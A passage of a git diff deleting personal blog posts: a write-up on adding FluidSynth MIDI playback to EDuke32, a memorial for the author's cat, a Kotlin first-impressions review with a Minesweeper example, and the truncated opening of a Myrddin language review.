Fluidsynth/duke-on-fluidsynth.org deleted file mode 100644 index 33101ee..0000000 --- a/org/Duke on Fluidsynth/duke-on-fluidsynth.org +++ /dev/null @@ -1,181 +0,0 @@ -#+TITLE: Duke on Fluidsynth -#+DATE: <2018-01-13 Sat 21:10> -#+TAGS: writeup, programming, video-games, audio, c++ - -My first experiences with Duke Nukem 3D were with EDuke32 ages ago. This was -back when I was running Windows Vista, and while my memory is a bit lacking, I -swear that I had working music then. Ever since I made the switch to Linux, I -haven't had working music playback in EDuke. Frustrated at the fact that my past -few years of Duke 3D have been devoid of all sound besides the screams of death -and Duke's trash talking, I've finally decided to troubleshoot it. - -My first hypothesis was that there was a build flag for music support, and that -the binaries for EDuke in my distribution's package repository were compiled -without it. This led me to look at the [[http://wiki.eduke32.com/wiki/Building_EDuke32_on_Linux][Linux build instructions]], which -specifically mention an =EDUKE32_MUSIC_CMD= environment variable for specifying -an external MIDI player to use. This tipped me off on the issue: my version of -EDuke couldn't play MIDI. This made sense, since all of the other game sounds -were working just fine. I set the TiMidity++ command-line tool as the external -MIDI player, as I've had luck using TiMidity++ with QZDoom, and it worked on the -first try. This victory was short-lived, however, as the game froze the second I -started up the first episode. I figured that EDuke was waiting on the TiMidity++ -process to die off, which is when I decided to crack open the source code. - -The code revealed that on Linux platforms, EDuke uses SDL2_Mixer for music -output. I'm mildly familiar with it; it's a wrapper around the SDL audio module, -providing loaders for several sound formats such as OGG and MIDI. Unfortunately, -it seems incapable of playing MIDI on my system. Some further research revealed -that for MIDI playback, SDL2_Mixer can use either FluidSynth, or an internal -version of TiMidity. This reminded me of an issue I had when I first installed -GZDoom on my machine: soundfonts. - -You're supposed to be able to specify a default soundfont for FluidSynth in -=/etc/conf.d/fluidsynth=, but in my experiences with the command-line tool, this -is ignored entirely. Similarly, a default soundfont can be specified in -=/etc/timidity++/timidity.cfg=, but the only things I've used that have -respected that are QZDoom and the TiMidity++ command-line tool. Compiling -SDL2_Mixer from source and forcing it to use the internal version of TiMidity -has the same issue as before. - -I suspect that the reason for this is the fragmentation of TiMidity releases. -SDL2_Mixer has an internal version of TiMidity. So does QZDoom. It seems to be -one of those libraries that just gets copied into version control because it's -small enough, like that Vorbis decoder by RAD Game Tools. This has the -consequence that it will almost never be updated, and you may have several -programs using different, incompatible versions of it. In the case of QZDoom, -the copyright header in =timidity.cpp= is dated 1995. - -I looked at [[http://libtimidity.sourceforge.net/][libTiMidity]] in hopes of debugging the issue, which is when I -realized that some versions of TiMidity literally do not support specifying a -default soundfont, which would explain why SDL2_Mixer is dead silent. - -#+CAPTION: This is a pretty overdue feature, guys. -#+BEGIN_SRC c :hl_lines 0 -else if (!strcmp(w[0], "soundfont") || - !strcmp(w[0], "font")) -{ - /* "soundfont" sf_file "remove" - * "soundfont sf_file ["order=" order] ["cutoff=" cutoff] - * ["reso=" reso] ["amp=" amp] - * "font" "exclude" bank preset keynote - * "font" "order" order bank preset keynote - */ - DEBUG_MSG("FIXME: Implement \"%s\" in TiMidity config.\n", w[0]); -} -#+END_SRC - -Alright, so TiMidity isn't the way to go at all, and FluidSynth has issues -specifying a default soundfont via configuration files, but perhaps the -FluidSynth /API/ exposes a means of specifying a soundfont. Fortunately, this -was easy to check as FluidSynth has the best documentation I've ever seen from a -library written in C. The developer documentation is rich with examples, and one -of them even involves what we're looking for. Loading a soundfont with -FluidSynth turns out to be as easy as calling =fluid_synth_sfload=. - -Writing a drop-in replacement for the SDL2_Mixer MIDI driver is uncomplicated -because Duke3D maintains a structured API for its music drivers. There are two -drivers in the source tree, currently: the original Apogee Sound System -implementation (=source/duke3d/src/music.cpp=), and the reimplementation using -SDL2_Mixer (=source/duke3d/src/sdlmusic.cpp=). To make things simple, we'll just -replace =sdlmusic.cpp= and define the following routines: - -- =const char *MUSIC_ErrorString(int32_t ErrorNumber)= -- =int32_t MUSIC_Init(int32_t SoundCard, int32_t Address)= -- =int32_t MUSIC_Shutdown(void)= -- =void MUSIC_SetVolume(int32_t volume)= -- =int32_t MUSIC_GetVolume(void)= -- =void MUSIC_SetLoopFlag(int32_t loopflag)= -- =void MUSIC_Continue(void)= -- =void MUSIC_Pause(void)= -- =int32_t MUSIC_StopSong(void)= -- =int32_t MUSIC_PlaySong(char *song, int32_t loopflag)= -- =int32_t MUSIC_InitMidi(int32_t card, midifuncs *Funcs, int32_t Address)= -- =void MUSIC_Update(void)= - -The names are very descriptive in this case, and the routines themselves are -quite simple. Routines that return an =int32_t= are just returning an error code -(=MUSIC_Ok= or =MUSIC_Error=), with the exception of =MUSIC_GetVolume=, which -returns the volume on a scale of 0 to 255. In our case, most of these will be -stubs. For example, =MUSIC_Update= and =MUSIC_Continue= are irrelevant for -FluidSynth. - -Also, it's worth mentioning that the "song" parameter to =MUSIC_PlaySong= isn't -a filename, it's a pointer to an in-memory version of the MIDI file. FluidSynth -supports reading MIDI files from memory, but unlike SDL2_Mixer's in-memory MIDI -loader, the file's size has to be explicitly specified. I dug up a [[https://github.com/colxi/midi-parser-js/wiki/MIDI-File-Format-Specifications][specification -of the format]] and hacked together a little routine to figure out the size. It -isn't particularly important, but I wanted to mention it because it worked on -the first try, which warranted some celebration. - -#+BEGIN_SRC c :hl_lines 0 -char *tracks; -size_t file_size; -uint16_t num_tracks; - -tracks = song + 0x14; -num_tracks = *((uint16_t *) (song + 0x10)); -file_size = 0x14; // Size of the MIDI header. - -while (num_tracks--) { - uint16_t track_size; - - if (!memcmp(tracks, "MTrk", 4)) { - break; - } - - track_size = *((uint16_t *) (tracks + 0x04)); - file_size += track_size + 0x08; - tracks += track_size + 0x08; -} -#+END_SRC - -This all ended up being simple enough that I was able to get MIDI playback -working in under an hour on a Friday night. Yeah. I had some friends who wanted -to go out that night, but I stayed home and wrote a MIDI driver instead. (That -isn't the real reason, I'm not that much of a loser). - -Unfortunately, because I was just hacking it together quickly, the initial -implementation had a few issues: - -- No error reporting (=MUSIC_ErrorString= just returns "Nothing to see here...") -- Doesn't use modern C++, and only loosely follows the EDuke32 code style. -- Directly includes the FluidSynth headers, which seems to be a taboo in the - EDuke codebase. -- =MUSIC_StopSong will= shutdown and reinitialize the entire audio driver just - to flush whatever's currently playing out of the player. -- Replaces =sdlmusic.cpp=, instead of being an independent source file that can - be included at compile time. -- No volume controls. -- Soundfont and audio backend are hardcoded to my system. - -The first three were quite easy to fix, and as I don't have any plans to push -this upstream, they were really non-issues. The thing with =MUSIC_StopSong= is -also kind of a non-issue, as reinitializing the audio system is the only way to -flush the FluidSynth player right now. That fifth issue is also something I'm -not going to deal with unless someone confronts me about getting this included -upstream, because this is a lot easier to maintain as a drop-in replacement. - -Volume controls were extremely trivial to implement, as the only thing the -driver has to do is expose MUSIC_SetVolume. The routine receives a number on the -interval [0, 255], where 0 is the quietest, and 255 is the loudest. FluidSynth -provides a 'synth.gain' setting, which is essentially volume, but it instead -accepts numbers on the interval [0.0, 10.0]. - -The naive approach (which is what I did the first time around) is to multiply -the parameter by some scalar (10.0 / 255) to fit on the interval of [0.0, -10.0]. This was quite painful for my poor little ears. So I instead scaled the -number to fit on the interval of [0.0, 1.0]. - -Finally, specifying the soundfont is something I'll address in the future. My -patch adds some stuff to the EDuke options menu for specifying an audio backend -(alsa, pulse, etc), but I have yet to figure out how to make an option that's -stored as a string. - -If you want to check out my patchset, you can view the repository [[https://github.com/TsarFox/duke-on-fluidsynth][here]], and -here's a demo video: - -#+BEGIN_EXPORT html -
- -
-#+END_EXPORT diff --git a/org/Farewell, Kona, My Life-Long Companion/farewell-kona.org b/org/Farewell, Kona, My Life-Long Companion/farewell-kona.org deleted file mode 100644 index 57dca1d..0000000 --- a/org/Farewell, Kona, My Life-Long Companion/farewell-kona.org +++ /dev/null @@ -1,74 +0,0 @@ -#+TITLE: A Good-Bye Letter To My Life-Long Companion -#+TAGS: non-technical -#+DATE: <2022-05-13 Fri 20:06> -#+HAUNT_METADATA: (("scripts" . "((script (@ (src \"/static/js/oneko.js\"))))")) - -Last night -- Thursday, May 12th, 2022, at 22:17L -- my cat was put to rest. I -tend to avoid publishing anything non-technical to this website, but she -deserves to be remembered, and this is the only place I can be confident my -writing will last. She'd been with me through most of my life, always bringing -me comfort when I was stressed, and keeping watch over me when I was sick. I owe -this to her. - -[[./kona-1.jpg]] - -I begged my parents for a cat when I was young. It took several years, but they -eventually obliged and adopted my first cat, Donovan. He was put down a few -years later. My parents got Kona because they noticed how hurt I was to have -lost my best friend. We named her Kona after the Cree word for snow, ᑰᓇ, because -she had a beautiful, bright white coat of fur. - -Compared to Donovan, Kona was docile. She never tried to escape. She didn't even -like to be let outside. She always stayed alongside us. - -[[./kona-2.jpg]] - -She was occasionally playful, but for the most part would spend her days bathing -in the sun, or finding little hiding places next to my dad. When it got cold, -she would rest herself on my chest or lap. She was a great companion, for all -the years that she was with us. - -She especially liked to join me when I was playing video games. One time, I was -playing Metal Gear Solid, and she trotted up to the TV -- following Snake as he -ran across the screen and batting at him with her paw. - -Batting at stuff with her paw was her thing. If I walked past her without -petting her, she'd either bat at me, or be a little more aggressive and dig into -my leg with her claws. She also frequently beat up the other cat in the house.. -and other times, they were the best of friends. They made an excellent team for -killing the mice in the basement -- Kona would find them, and then go bat Mitzi -until Mitzi killed it. - -[[./kona-3.jpg]] - -When I moved back in with my parents at the beginning of the COVID-19 pandemic -(when UMass kicked us all out and went online for classes) my younger brother -voluntarily moved his rig into the basement[fn:1], and Kona started to hang out -with him. She'd sit on his desk, accompanying him while he programmed or played -video games. - -She'd even accompany him when he was working out in the home gym. Karl told me -once about how he was mid-way through a set, and Kona hopped up on his chest and -made herself comfortable. - -[[./kona-4.jpg]] - -She didn't come up from the basement often. She'd spend her days with Karl, and -her nights curled up on my dad's chest. Near the end, the only times I would see -her is when I'd feed her. I had a hard time noticing her deteriorating health. -Only really a suspicion -- on her last day -- when she came up to my desk while -I was working, and refused the cat food I fetched for her. Karl and my partner -were more keen to realizing that things were going downhill, so we took her to -the emergency vet that night. - -And that was the most I've cried. Ever. Kona was my girl. She really had an -impact on me in the time we had together. Life is never going to be the same -without her little mewls in the middle of the night. - -Farewell, Kona. I will always love you. - -/(The cat following your cursor, if you have Javascript enabled, is courtesy of [[https://adryd.com/][Ariana]].)/ - ---- - -[fn:1] To this day, I think he actually drew the long straw. He's right next to the home gym, the router, he's got plenty of space... diff --git a/org/Farewell, Kona, My Life-Long Companion/kona-1.jpg b/org/Farewell, Kona, My Life-Long Companion/kona-1.jpg deleted file mode 100644 index 79d40dc..0000000 Binary files a/org/Farewell, Kona, My Life-Long Companion/kona-1.jpg and /dev/null differ diff --git a/org/Farewell, Kona, My Life-Long Companion/kona-2.jpg b/org/Farewell, Kona, My Life-Long Companion/kona-2.jpg deleted file mode 100644 index 4ce3d51..0000000 Binary files a/org/Farewell, Kona, My Life-Long Companion/kona-2.jpg and /dev/null differ diff --git a/org/Farewell, Kona, My Life-Long Companion/kona-3.jpg b/org/Farewell, Kona, My Life-Long Companion/kona-3.jpg deleted file mode 100644 index 16d2b2c..0000000 Binary files a/org/Farewell, Kona, My Life-Long Companion/kona-3.jpg and /dev/null differ diff --git a/org/Farewell, Kona, My Life-Long Companion/kona-4.jpg b/org/Farewell, Kona, My Life-Long Companion/kona-4.jpg deleted file mode 100644 index 19e7af9..0000000 Binary files a/org/Farewell, Kona, My Life-Long Companion/kona-4.jpg and /dev/null differ diff --git a/org/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org b/org/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org deleted file mode 100644 index 742103b..0000000 --- a/org/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org +++ /dev/null @@ -1,494 +0,0 @@ -#+TITLE: First Impressions of the Kotlin Programming Language -#+DATE: <2018-12-17 Mon> -#+TAGS: opinion, programming, java, kotlin, android - -In the introduction of the previous post I wrote for this series, [[http://jakob.space/blog/first-impressions-of-the-rust-programming-language.html][First -Impressions of the Rust Programming Language]], I alluded to the presence of -arguments that programming language safety should be achieved by moving to -languages such as Java which run on a virtual machine. While "safety" may no -longer be the first thing that comes to mind in discussion of these languages, -especially with the hundreds[fn:1] of vulnerabilities in various implementations -of the Java virtual machine, it would be unfair to deny that the principle of -running programs in a sandboxed virtual machine is safer than running machine -code directly. This post won't be making any claims about safety, though, as I'm -more interested in writing about my impressions from a language design -perspective. So, how does Java fare in this regard? - -My first run-in with Java was when I was 16 and still in high school; I had -enrolled in AP computer science, of which the curriculum was and still is taught -using Java. I already knew Python and C at that point, but enrolled anyway as I -was never given a formal computer science education, and because the idea of -university credits was enticing to me. The portion of the class that regarded -concepts of computer science -- algorithm design and data structures -- was a -blast, but I quickly became frustrated with the programming assignments because -of Java's horribly unwieldy nature. Despite my distaste for the way the course -was taught, my grades stood out enough that the teacher approached me about -working as a teaching assistant the following year. I took him up on the offer, -and suffered. The position involved troubleshooting students' issues during lab -periods, and nearly every time I sat down to help a student, the issue was with -one of Java's numerous pitfalls rather than a conceptual misunderstanding of -computer science. At of the time of writing this, I have just completed my first -semester of university, and Java is apparently inescapable; I have been forced -to use it once more in my introductory data structures course. It has not grown -on me at all in these past three years, and I am not exaggerating when I say -that the language has literally given me nightmares. - -Refusing to use Java outside of my coursework would seemingly prevent me from -programming for any platform which makes use of Java, such as Android, but it -turns out that there's an alternative: using a language that compiles down to -the same bytecode as Java does. For those not in the know, Java works by -compiling source code ahead of time into a Java class file, which is a container -format for JVM bytecode. Bytecode is comparable to assembly, but it doesn't run -on actual hardware.[fn:2] Instead, it runs on an abstract machine implemented in -software. JVM bytecode as a compiler target is not a new concept; there are -plenty of languages targeting the JVM specifically, such as Groovy, Scala, and -Clojure (the latter of which I hope to cover in a future post), but Kotlin was -the first I heard of. - -While targeting Android is what I ended up using Kotlin for, my initial reason -for learning it was not nearly as practical. For context, I go between phases of -absolutely hating everything related to Java and phases of almost being able to -tolerate it, but that tolerance is mostly out of curiosity about the -implementation -- the most recent case of piqued interest coming about through -obtaining the J2ME JAR for [[https://en.wikipedia.org/wiki/Doom_RPG][Doom RPG]] and having an inclination to indulge in some -retro Java (circa JRE 1.3) reverse engineering. Really, I wanted to learn Kotlin -so that I could compare the bytecode generated by the Kotlin compiler to the -bytecode generated by past and present Java compilers,[fn:3] but I won't be -talking about that much in this post. - -Throughout this post, I'll be treating Kotlin as a language that only runs on -the JVM, but it's worth noting that the compiler has recently gained support for -targeting Javascript and LLVM as well, so this perspective doesn't fully -represent the language. - -As my first foray into writing nontrivial[fn:4] Kotlin, I decided to write a -version of Minesweeper, my favorite logic puzzle. The code is available on -[[https://git.sr.ht/~jakob/mines][sr.ht]]. Implementing Minesweeper might be a bit redundant as [[https://f-droid.org/en][F-Droid]] already has -a [[https://f-droid.org/en/packages/csd.qtproject.minesweeper][GPLv3'd implementation of Minesweeper]] in its repositories, but that one's -implemented in C++, QML, and Javascript. - -For the purposes of illustration, here's a simplified implementation of the -Minesweeper logic sans Android API: - -#+BEGIN_SRC kotlin :hl_lines 0 -data class Tile(val adjacentMines: Int = 0, val mine: Boolean = false, val masked: Boolean = true) - -/** - * The Minesweeper "grid", containing instances of [Tile]. - */ -class Grid(val width: Int, val height: Int, val tiles: Array) { - constructor(width: Int = 8, height: Int = 8, mines: Int = 10) - : this(width, height, Array(width * height) { Tile() }) { - for (i in 0 until mines) { - val x = (0 until width).random() - val y = (0 until height).random() - placeMine(x, y) - } - } - - private fun index(x: Int, y: Int) = y * width + x - private fun valid(x: Int, y: Int) = y in 0 until height && x in 0 until width - private fun place(x: Int, y: Int, tile: Tile) { - tiles[index(x, y)] = tile - } - - /** - * Returns the tile at the given coordinates. - * - * @throws IllegalArgumentException if the X coordinate is outside - * the range of [0, width), or if the Y coordinate is outside the - * range of [0, height). - */ - operator fun get(x: Int, y: Int) = if (valid(x, y)) { - tiles[index(x, y)] - } else { - throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") - } - - /** - * Places a mine at the given coordinates. - * - * @throws IllegalArgumentException if the X coordinate is outside - * the range of [0, width), or if the Y coordinate is outside the - * range of [0, height). - */ - fun placeMine(x: Int, y: Int) { - if (!valid(x, y)) { - throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") - } - - if (this[x, y].mine) { - return; - } - - place(x, y, Tile(mine = true)) - - val xMin = (x - 1).coerceAtLeast(0) - val xMax = (x + 1).coerceAtMost(width - 1) - val yMin = (y - 1).coerceAtLeast(0) - val yMax = (y + 1).coerceAtMost(height - 1) - - for (y in yMin..yMax) { - for (x in xMin..xMax) { - with (tiles[index(x, y)]) { - if (!mine) { - place(x, y, copy(adjacentMines + 1)) - } - } - } - } - } - - /** - * Reveals a tile at the given coordinates according to the game rules. - * - * @throws IllegalArgumentException if the X coordinate is outside - * the range of [0, width), or if the Y coordinate is outside the - * range of [0, height). - */ - fun reveal(x: Int, y: Int) { - if (!valid(x, y) || !this[x, y].masked) { - return; - } - - with (this[x, y]) { - place(x, y, copy(masked = false)) - - if (!mine && adjacentMines == 0) { - val xMin = (x - 1).coerceAtLeast(0) - val xMax = (x + 1).coerceAtMost(width - 1) - val yMin = (y - 1).coerceAtLeast(0) - val yMax = (y + 1).coerceAtMost(height - 1) - - for (y in yMin..yMax) { - for (x in xMin..xMax) { - reveal(x, y) - } - } - } - } - } - - override fun toString() = buildString { - for (y in 0 until height) { - for (x in 0 until width) { - val tile = this@Grid[x, y] - append(when { - tile.masked -> "." - tile.mine -> "M" - tile.adjacentMines == 0 -> " " - else -> tile.adjacentMines.toString() - } + " ") - } - append("\n") - } - } -} - -fun main(args: Array) { - val grid = Grid() - - for (i in 0 until 9) { - val x = (0 until 8).random() - val y = (0 until 8).random() - grid.reveal(x, y) - println(grid) - } -} -#+END_SRC - -And just within the first line, we're introduced to a feature that provides -massive gains in readability over Java. Data classes. - -#+BEGIN_SRC kotlin :hl_lines 0 -data class Tile(val adjacentMines: Int = 0, val mine: Boolean = false, val masked: Boolean = true) -#+END_SRC - -In Java, if you want to group a few related values together, you'd probably -write a full implementation of a class with "getter" and "setter" methods, and -potentially other methods for things like testing for equality. That's a whole -new file (assuming that you want to use this structure between classes) and -several lines of code for something that should really be expressed in one line. -Kotlin allows for structures to be declared this way. Here, we define a =Tile= -structure, which acts as an immutable container for the information we want to -associate with a tile in the Minesweeper grid. The compiler automatically -derives methods to check for equality (=equals=), to create a unique hash code -(=hashCode=), to provide a string representation (=toString=), and to make a -copy of the structure. That last point on making copies brings me to another -feature of Kotlin that makes programming with immutable data structures a -breeze: named and optional parameters. Notice that there are default values in -the above declaration -- =adjacentMines= is 0, =mine= is false, and =masked= is -true. If I wanted to create a tile that was a mine, but was still masked, I -could simply call =Tile(mine = true)=. Java only supports positional -overloading, so in Java, it would be =new Tile(0, true)=, assuming that I had an -overloaded constructor with a default =masked= value. Returning to the point on -the automatically-generated =copy= method, the named and optional parameters -really shine here. Take a look at how it's used in the =reveal= method: - -#+BEGIN_SRC kotlin :hl_lines 0 -with (this[x, y]) { - place(x, y, copy(masked = false)) -#+END_SRC - -I should probably explain the =with= statement to fully unpack what's happening -here. =with= essentially allows us to run a block of code in the scope of an -object. =copy= is a method of =this[x, y]=, but we don't need to write =this[x, -y].copy= since we are in the class scope of =Tile= (the type of =this[x, y]=). - -The code for initializing a new =Grid= object does a nice job of illustrating -Kotlin's ranges. - -#+BEGIN_SRC kotlin :hl_lines 0 -for (i in 0 until mines) { - val x = (0 until width).random() - val y = (0 until height).random() - placeMine(x, y) -} -#+END_SRC - -Kotlin is similar to Python in that there are no longer C-styled for loops -(initialization + condition + afterthought). Instead, there are iterator-based -for loops, and enumeration is done with ranges. =a..b= represents the range of -integers from [a, b], and =a until b= represents the range from [a, b). Ranges -are also objects, which is why we can write something like =(0 until -width).random()=, which picks a random integer in the range [0, width). - -Another big feature is type inference, which eliminates another pain in reading -and writing Java. Take this facetious example: - -#+BEGIN_SRC java :hl_lines 0 -InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState myState = new InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState(); -#+END_SRC - -The class name shows up twice on the same line, which I personally think is -absurd. Is the type of =myState= really not obvious from the rvalue? - -#+BEGIN_SRC kotlin :hl_lines 0 -val myState = InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState() -#+END_SRC - -Ah, much better. Of course, sometimes variables /need/ type information, such as -in the case of function parameters and return values. Actually, the type of a -return value can be inferred, too. This can be seen in the definitions of -=index= and =valid=. - -#+BEGIN_SRC kotlin :hl_lines 0 -private fun index(x: Int, y: Int) = y * width + x -private fun valid(x: Int, y: Int) = y in 0 until height && x in 0 until width -#+END_SRC - -Functions can be written this way if their body is a single expression, and the -compiler can infer the type of the return value from that expression. -Expressions are a big thing in Kotlin. =if= is an expression (which you can see in -the implementation of =get=), much like it is in Rust, as is =when= -- Kotlin's -replacement to Java's =switch= (which is sadly lacking in the way of -pattern-matching). Assignment, fortunately, is not an expression like it is in C -and Java.[fn:5] Here's an example of =when= used as an expression: - -#+BEGIN_SRC kotlin :hl_lines 0 -override fun toString() = buildString { - for (y in 0 until height) { - for (x in 0 until width) { - val tile = this@Grid[x, y] - append(when { - tile.masked -> "." - tile.mine -> "M" - tile.adjacentMines == 0 -> " " - else -> tile.adjacentMines.toString() - } + " ") - } - append("\n") - } -} -#+END_SRC - -This is yet another example of a function body being written as a single -expression. =buildString= is a function in the Kotlin standard library that takes -a lambda as a parameter,[fn:6] executes it in the context of a Java StringBuilder, -and returns the result of building that string. Kotlin provides a number of -facilities to make working with strings more pleasant, including string -interpolation: - -#+BEGIN_SRC kotlin :hl_lines 0 -val myNum = 7 -return "myNum is ${myNum}" // --> "myNum is 7" -#+END_SRC - -One last feature from the example above -- Kotlin supports operator overloading. -I'm sure that there was some rationale behind omitting operator overloading -from Java, but I'm a proponent of languages that offer support for it. Where the -operator overloading occurs in the example might not have been obvious, though. - -#+BEGIN_SRC kotlin :hl_lines 0 -operator fun get(x: Int, y: Int) = if (valid(x, y)) { - tiles[index(x, y)] -} else { - throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") -} -#+END_SRC - -=get= corresponds to the indexing notation, which is why =this[x, y]= has shown -up a few times in the code. Yes, the indexing notation can take multiple -parameters. The names that Kotlin associates with different operators tends to -draw parallels with the conventions of the Java standard library. In the case of -=get=, this means that you can use indexing notation on a =Map=. Pretty neat. - -There are a few other features that I think are worth mentioning, but don't -appear in the Minesweeper example. - -* Explicit type conversion - -Kotlin lacks implicit type coercion, which I think is a huge benefit in terms of -readability. While it isn't as much of an issue in Java, having to explicity -mark type conversion is an excellent way of avoiding issues with [[https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf][type juggling]]. -Again, my opinions here have largely been shaped by my experience as a teaching -assistant. - -* Explicit nullability - -This is probably the crowning feature of Kotlin: a solution to "The Billion -Dollar Mistake" that is =null=. I'm actually not a fan of explicit nullability as -a solution, since I prefer the use of an =Option= type like in Rust.[fn:7] That -said, it does put the type system to work enforcing null safety at compile time, -and it is a lot more pleasant than dealing with =null= Java, so I'd call it a win. - -Basically, a variable can be =null= if its type is suffixed with a =?=. For -example, =Int?= can be =null=, but =Int= can't. An expression of type =Int?= -must be checked for =null= before it can be used, which can be done in a number -of ways. The most simple being to make use of another Kotlin feature: "smart -casts". - -#+BEGIN_SRC kotlin :hl_lines 0 -val myNum: Int? = null - -if (myNum != null) { - println("${myNum + 4}") // myNum has been casted from Int? to Int at this point. -} -#+END_SRC - -There are other ways, too. Kotlin has a null-coalescing operator, a "not null" -assertion, and so on. Explicit nullability is definitely a pain when starting -out, though. In Jouri Mamaev's [[https://kukuruku.co/post/why-kotlin-sucks/]["Why Kotlin Sucks"]], the following issue is -described as a "histerically-useless war with nullable." - -#+BEGIN_SRC kotlin :hl_lines 0 -var value : Int? = null - -fun F() : Int { - if (value != null) return 0 - return value // Compiler error: "Smart cast to 'Int' is impossible, because 'value' is a mutable property that could have been changed by this time" -} -#+END_SRC - -Mamaev goes on to show an example using the aforementioned "not null" assertion, -but the way I prefer to deal with this issue (other than not having variables -that are both nullable and mutable) is: - -#+BEGIN_SRC kotlin :hl_lines 0 -var value : Int? = null - -value?.let { - it.something() -} -#+END_SRC - -=let= will capture =value= and pass it to a lambda, allowing you to run some -code without having to worry about the value changing from under you. I have no -idea if this is idiomatic or not, but it works for me. - -Of course, Kotlin was meant to interoperate with existing Java code, which has -little notion of explicit nullability, so the benefits of explicit nullability -go out the window more often than not. - -* No more checked exceptions - -I'm sorry, but I really don't want to write about how much I hate checked -exceptions in Java. If you aren't familiar with them, but still want to know -what they are, I'd suggest looking for an article elsewhere. Otherwise, all you -need to know is that they aren't an issue in Kotlin. - -* == for value equality as opposed to reference equality - -This comes back to the operator overloading feature, ==== calls out to =equals=. -I do have a slight problem with this, though. ===== is used for reference -equality. I'm thankful that the operator exists, but this is completely -orthogonal to what Javascript does and I think that this might be a barrier for -anyone coming from there. Again, this is a slight problem; I think the gains in -clarity from using ==== for value equality outweigh the awkward ===== operator. - ---- - -Whew, listing all of the features that make Kotlin a better choice than Java is -exhausting. This is one of the complaints that I have about the language: it's -massive in scope. Of course, this is a consequence of Java having an absurd -number of warts that Kotlin tries to mend, but learning the ins and outs of -Kotlin is a significant undertaking. This is a _shortened_ list of the features -I enjoyed but didn't mention in this post: - -- Lambdas having access to variables that are not final. -- Classes and methods being final by default. -- Inner classes being static by default. -- Properties (declaring 'get' and 'set'). -- Unpacking. -- Spreading. -- Collection literals. -- Common I/O functions such as =println= being included in the prelude. -- Top-level visibility. -- Module visibility. -- Named imports. -- Infix functions. -- Nested functions. -- Decorator classes with =by=. -- Anonymous objects being able to implement multiple interfaces. -- Immutable collections. -- Lazy evaluation. -- =with= and =apply= expressions. -- Safe type casting. -- Lazy member initialization. -- Function inlining. -- Support for DSL creation. -- ... - -I could seriously just go on for days. There's /a lot/ to keep in your head all -at once. - -Other than the huge scope, there are few things I'd say I dislike about Kotlin. -Sure, there are things I wish it had, like Rust-styled variable shadowing, but -nothing drives me up the wall or anything. =kotlin-mode= feels like it was put -together in a few hours and compilation times are miserable, but other than -that, Kotlin is a solid language. - -Also, I'll forgo talking about the community and the ecosystem. It's just -completely transparent to me right now. From what I /can/ gather, it seems to be -pretty corporate ([[https://kotlin.link/][kotlin.link]] links to a Linkedin group, Google+, Slack...), -which might be because of its use case in Android development, but whatever. - -To conclude, Kotlin's alright. It isn't a miracle of language design, but it's -designed in a way that makes it easy to map onto the JVM. In that sense, it's -pragmatic. I'm not /excited/ about it, but it's levels beyond Java in terms of -how tolerable it is, so I'll take it. Well, for Android development, at least. -For projects where I'm not wrestling with a Java-based platform, I'll use -something more fun. To me, Rust is like Marshmallow Froot Loops, and Kotlin is -like Cheerios.[fn:8] - -I'd also like to take a minute to thank everyone who's given feedback on the -previous post. I really appreciate all the suggestions! I've put Ada and Pony on -my list of languages to cover in the future, and hopefully I'll be able to make -some progress on shrinking that list now that I'm done with the semester and -finally have some free time. - -[fn:1] Source: [[https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Java+Runtime+Environment][Common Vulnerabilities and Exposures, MITRE]] - -[fn:2] Well, that statement is only partially true. [[https://en.wikipedia.org/wiki/Jazelle][ARM processors can execute JVM bytecode in hardware]], and I would not be surprised if there are other chips out there with similar capabilities. - -[fn:3] Not that it would help me at all in reversing Doom RPG, I was just curious about bytecode. - -[fn:4] I would typically consider Minesweeper to be somewhat trivial, but implementing it for Android was not an easy task. - -[fn:5] I do think that assignment as an expression can occasionally afford some clarity, especially in the way of C, but in my time as a teaching assistant, I can say that I have seen its usage be erroneous more often than clever. - -[fn:6] In case it is unclear from the code, lambdas can be passed to functions sans parentheses. This is just syntactic sugar. - -[fn:7] Java 8 actually has an =Optional= type, but people seem to dislike it. Wonder why... - -[fn:8] This [[https://en.wikipedia.org/wiki/Metacity#Aim][analogy]] is painfully overused, but it just can't be beat. diff --git a/org/First Impressions of the Myrddin Programming Language/first-impressions-of-the-myrddin-programming-language.org b/org/First Impressions of the Myrddin Programming Language/first-impressions-of-the-myrddin-programming-language.org deleted file mode 100644 index 574c6fd..0000000 --- a/org/First Impressions of the Myrddin Programming Language/first-impressions-of-the-myrddin-programming-language.org +++ /dev/null @@ -1,412 +0,0 @@ -#+TITLE: First Impressions of the Myrddin Programming Language -#+DATE: <2020-01-05 Sun 18:38> -#+TAGS: opinion, programming, myrddin - -It's been [[http://jakob.space/blog/first-impressions-of-the-rust-programming-language.html][over a year]] since I last wrote about contenders for the throne that C -currently sits upon, so I'll spare you the prosy introduction and cut to the -chase. I'd like to share some thoughts on my recent foray into a little -programming language I came across while browsing [[https://lobste.rs/][lobste.rs]] some years ago: -[[https://myrlang.org/][Myrddin]], the pet project of [[https://eigenstate.org/][Ori Bernstein]]. From the language specification, -"Myrddin is designed to be a simple programming language. It is designed to -provide the programmer with predictable behavior and a pragmatic set of -semantics, providing the benefits of strong type checking, generics, type -inference, and modern features with a high cost-benefit ratio. Myrddin is not a -language designed to explore the forefront of type theory or compiler -technology. Its focus is on being a practical, small, well defined, and easy to -understand language for work that needs to be close to the hardware. Myrddin is -influenced strongly by C and ML, with ideas from too many other places to name." -The front page of the website specifically states that "[i]t aims to fit into a -similar niche as C, but with fewer bullets in your feet." I see these -descriptions and the cat-v-inspired stylesheets as a warning to those who don't -appreciate a spartan attitude towards software development.[fn:2] Fortunately, -I'm not one of those people. - -Like last time, I'll be getting my hands dirty using the language to implement -something nontrivial. There aren't many other applications written in Myrddin; -the [[https://eigenstate.org/software/ircmyr][irc.myr]] IRC client is the only real example I was able to find.[fn:3] It -seems most of the work 